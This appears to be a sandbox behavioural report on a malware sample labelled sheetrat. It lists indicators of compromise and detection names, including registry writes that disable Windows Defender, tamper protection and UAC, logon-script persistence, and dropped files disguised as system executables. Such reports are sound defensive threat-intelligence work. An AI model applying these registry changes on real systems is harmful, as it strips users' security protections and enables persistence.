sheetrat | 7ec31b49fc75424db7021eef455074b7b33121be6b268c6215b06521d3732caf

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\M1004NUS.exe,"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

UAC bypass 3 TTPs 12 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral1/memory/1640-0-0x000001BCA72A0000-0x000001BCA730E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/files/0x000900000002450a-14.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral1/memory/1640-0-0x000001BCA72A0000-0x000001BCA730E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/files/0x000900000002450a-14.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/memory/1640-0-0x000001BCA72A0000-0x000001BCA730E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x000900000002450a-14.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1844	powershell.exe
3732	powershell.exe
3596	powershell.exe
4432	powershell.exe
3672	powershell.exe
1028	powershell.exe
1792	powershell.exe
2356	powershell.exe
3776	powershell.exe
2356	powershell.exe
5012	powershell.exe
752	powershell.exe
4384	powershell.exe
2176	powershell.exe
4692	powershell.exe
5096	powershell.exe
3492	powershell.exe
2612	powershell.exe
1364	powershell.exe
848	powershell.exe
4684	powershell.exe
608	powershell.exe
3804	powershell.exe
3916	powershell.exe
2144	powershell.exe
3368	powershell.exe
464	powershell.exe
5056	powershell.exe
5068	powershell.exe
5064	powershell.exe
2584	powershell.exe
4920	powershell.exe
540	powershell.exe
3832	powershell.exe
116	powershell.exe
4712	powershell.exe
2176	powershell.exe
3492	powershell.exe
3804	powershell.exe
752	powershell.exe
116	powershell.exe
608	powershell.exe
4920	powershell.exe
2612	powershell.exe
1364	powershell.exe
3596	powershell.exe
5096	powershell.exe
2356	powershell.exe
464	powershell.exe
848	powershell.exe
1844	powershell.exe
4684	powershell.exe
1792	powershell.exe
5012	powershell.exe
3832	powershell.exe
2584	powershell.exe
4712	powershell.exe
4692	powershell.exe
3368	powershell.exe
5056	powershell.exe
5064	powershell.exe
2144	powershell.exe
3776	powershell.exe
3916	powershell.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4852	netsh.exe
3900	netsh.exe
1148	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
3208	Process not Found
3720	M1004NUS.exe
1764	M1004NUS.exe
4692	M1004NUS.exe

Loads dropped DLL 7 IoCs

pid	Process
5096	powershell.exe
3208	Process not Found
848	powershell.exe
3368	powershell.exe
3208	Process not Found
4692	M1004NUS.exe
2908	Process not Found

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\F:	Process not Found
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Drops file in System32 directory 38 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Protect\MusNotification.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Libraries\OneDriveSetup.exe	M1004NUS.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Network Shortcuts\MoUsoCoreWorker.exe	M1004NUS.exe
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Libraries\OneDriveSetup.exe	M1004NUS.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\dllhost.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe.log	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Protect\MusNotification.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\PhoneExperienceHost.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Network Shortcuts\MoUsoCoreWorker.exe	M1004NUS.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\TextInputHost.exe	M1004NUS.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\History\LockApp.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\History\LockApp.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Themes\smartscreen.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\PhoneExperienceHost.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\History\MoUsoCoreWorker.exe	M1004NUS.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\RuntimeBroker.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Notifications\SystemSettings.exe	M1004NUS.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Notifications\SystemSettings.exe	M1004NUS.exe
File created	C:\Windows\system32\%System32%\System32\BootFiles\Boot.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\dllhost.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\History\MoUsoCoreWorker.exe	M1004NUS.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\TextInputHost.exe	M1004NUS.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Themes\smartscreen.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\RuntimeBroker.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Libraries\SearchUI.exe	M1004NUS.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Libraries\SearchUI.exe	M1004NUS.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1996	sc.exe
1672	sc.exe
2268	sc.exe
3784	sc.exe
2244	sc.exe
4032	sc.exe
2856	sc.exe
4628	sc.exe
1288	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2056	cmd.exe
3912	cmd.exe
3156	CMD.exe
2912	cmd.exe
2868	CMD.exe
4240	cmd.exe
4984	cmd.exe
3044	cmd.exe
3340	cmd.exe
2952	cmd.exe
4160	CMD.exe
3636	cmd.exe
4272	cmd.exe
2440	cmd.exe
1144	cmd.exe
1932	cmd.exe
1392	cmd.exe
3672	cmd.exe
2612	cmd.exe
3664	cmd.exe
4556	cmd.exe
2764	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon\0\Script = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
